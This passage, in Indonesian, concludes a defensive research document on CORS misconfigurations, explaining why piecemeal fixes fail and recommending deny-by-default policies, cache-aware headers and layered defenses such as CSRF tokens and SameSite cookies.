Patch inkremental gagal karena permukaan serangan bersifat kombinatorial. Server mungkin memperbaiki anchor regex (§1-2) tetapi tetap rentan terhadap null origin (§2), atau memperbaiki keduanya tetapi mempercayai semua subdomain (§7-1), atau memperbaiki segalanya di lapisan aplikasi tetapi dirusak oleh caching (§9) atau DNS rebinding (§8-3). Setiap header CORS (ACAO, ACAC, ACAH, ACAM, ACEH, ACMA) memperkenalkan permukaan mutasinya sendiri, dan interaksi di antara mereka melipatgandakan risiko. Diferensial parser spesifik browser (§6) berarti bahwa bahkan regex yang “benar” pun dapat dilewati di browser tertentu. Evolusi cookie SameSite dan spesifikasi Private Network Access adalah perkembangan positif, tetapi keduanya menciptakan celah periode transisi mereka sendiri di mana perilaku lama berdampingan dengan pembatasan baru.

Solusi struktural akan memerlukan tiga pergeseran: (1) Opt-in eksplisit daripada opt-out — origin harus ditolak secara default, dengan kebijakan CORS yang didefinisikan secara deklaratif (bukan melalui refleksi dinamis), idealnya dalam file kebijakan keamanan terpisah daripada dalam kode aplikasi. (2) Desain yang sadar-cache — respons CORS harus selalu menyertakan Vary: Origin, dan infrastruktur caching harus menghormatinya. (3) Defense in depth — CORS tidak boleh menjadi satu-satunya batas keamanan. Setiap endpoint sensitif harus memvalidasi autentikasi secara independen, menggunakan CSRF token untuk operasi yang mengubah state, dan mengimplementasikan cookie SameSite, header COOP, dan CORP sebagai pertahanan berlapis. Spesifikasi Private Network Access yang sedang berkembang mewakili arah arsitektur yang tepat — memperlakukan penyeberangan batas jaringan sebagai keputusan keamanan yang berbeda yang memerlukan preflight dan persetujuan pengguna yang eksplisit.


Referensi


Dokumen ini dibuat untuk tujuan penelitian keamanan defensif dan pemahaman kerentanan.